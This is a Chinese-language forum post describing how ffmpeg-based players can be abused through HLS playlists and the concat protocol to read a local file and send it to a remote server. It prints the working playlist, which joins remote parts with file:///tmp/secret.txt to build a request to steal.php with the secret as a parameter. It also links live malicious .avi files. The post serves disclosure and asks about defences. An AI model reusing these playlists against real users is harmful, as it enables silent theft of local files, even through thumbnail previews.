多年来,我一直是基于 ffmpeg 的播放器和编码器的重度用户,尽管我听说过许多安全问题,但我始终认为保持最新状态就足够安全了。但是,我刚刚看到一篇文章(俄语),它解释了如何在不依赖任何错误的情况下滥用 ffmpeg。
对于勇敢者:
创建一个/tmp/secret.txt
包含密码的文件(重要:末尾没有换行符)。现在播放这个看起来很无辜的视频:
http :
//dimag0g.hd.free.fr/ffmpeg/steal_secret.avi 使用基于 ffmpeg 或 libav 的播放器(我在 Debian 上测试了 SMPlayer 14.9.0)。你的密语出现在视频中了吗?
Windows 用户可以尝试http://dimag0g.hd.free.fr/ffmpeg/steal_secret_win.avi尝试窃取c:\secret.txt
,虽然我没有测试它。
怎么运行的:
steal_secret.avi
实际上是一个HTTP Live 流文件,如下所示:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://dimag0g.hd.free.fr/ffmpeg/head.m3u8|file:///tmp/secret.txt|http://dimag0g.hd.free.fr/ffmpeg/tail.m3u8
#EXT-X-ENDLIST
它指示 SMPlayer 连接三个文件:页眉secret.txt
和页脚。再次连接的结果是一个 HLS 文件,如下所示:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:,
http://dimag0g.hd.free.fr/ffmpeg/steal.php?secret=your_secret_word&.txt
#EXT-X-ENDLIST
这一次, 的内容作为 URL 参数secret.txt
发送到。steal.php
就我而言,steal.php
只需打印your secret is <your_secret_word>
1000 次,它就会显示在视频中。真正的攻击者可以保存秘密并向用户显示无辜的剪辑,而不会引起怀疑。
请注意,此技巧不依赖于错误,它使用受支持的格式和有用的连接功能。而且通常您甚至不必单击文件:您的文件管理器将在其上运行 ffmpeg 以生成缩略图。
该怎么办?
除了小心处理不受信任的文件和永远不要以 root 身份运行 GUI 的明显建议之外,还可以做些什么来最大程度地降低风险?具体来说,打开此类文件时应该使用什么媒体播放器?到目前为止,我的示例仅适用于支持 HLS 的 mplayer 和 SMPlayer,concat
但我想知道是否可以以类似的方式利用其他支持 HLS 的媒体播放器。